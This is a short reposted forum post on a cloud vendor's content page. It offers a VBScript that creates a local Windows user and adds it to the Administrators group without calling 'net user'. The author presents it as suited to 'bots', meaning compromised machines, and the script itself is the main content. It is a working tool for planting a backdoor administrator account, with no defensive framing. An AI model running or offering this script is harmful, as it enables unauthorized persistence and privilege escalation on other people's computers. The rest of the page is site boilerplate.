The command does not depend on the net user to add an account

Source: Internet
Author: User

Author: Knight
In fact, this code has been published a long time ago, but someone recently asked me to send it here ~
You only need to save the following code as a vbs file. (Depending on wscript.exeand cscript.exe in the system, the average number of bots is satisfied)


Note: marked in red as the changeable part, where dddos indicates the user name and password indicates the password.

Set wsnetwork = CreateObject ("WSCRIPT. NETWORK ")
OS = "WinNT: //" & wsnetwork. ComputerName
Set ob = GetObject (OS)
Set oe = GetObject (OS & "/Administrators, group ")
Set od = ob. Create ("user", "dddos ")
Od. SetPassword "password"
Od. SetInfo
Set of = GetObject (OS & "/dddos", user)
Oe. add OS & "/dddos"

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.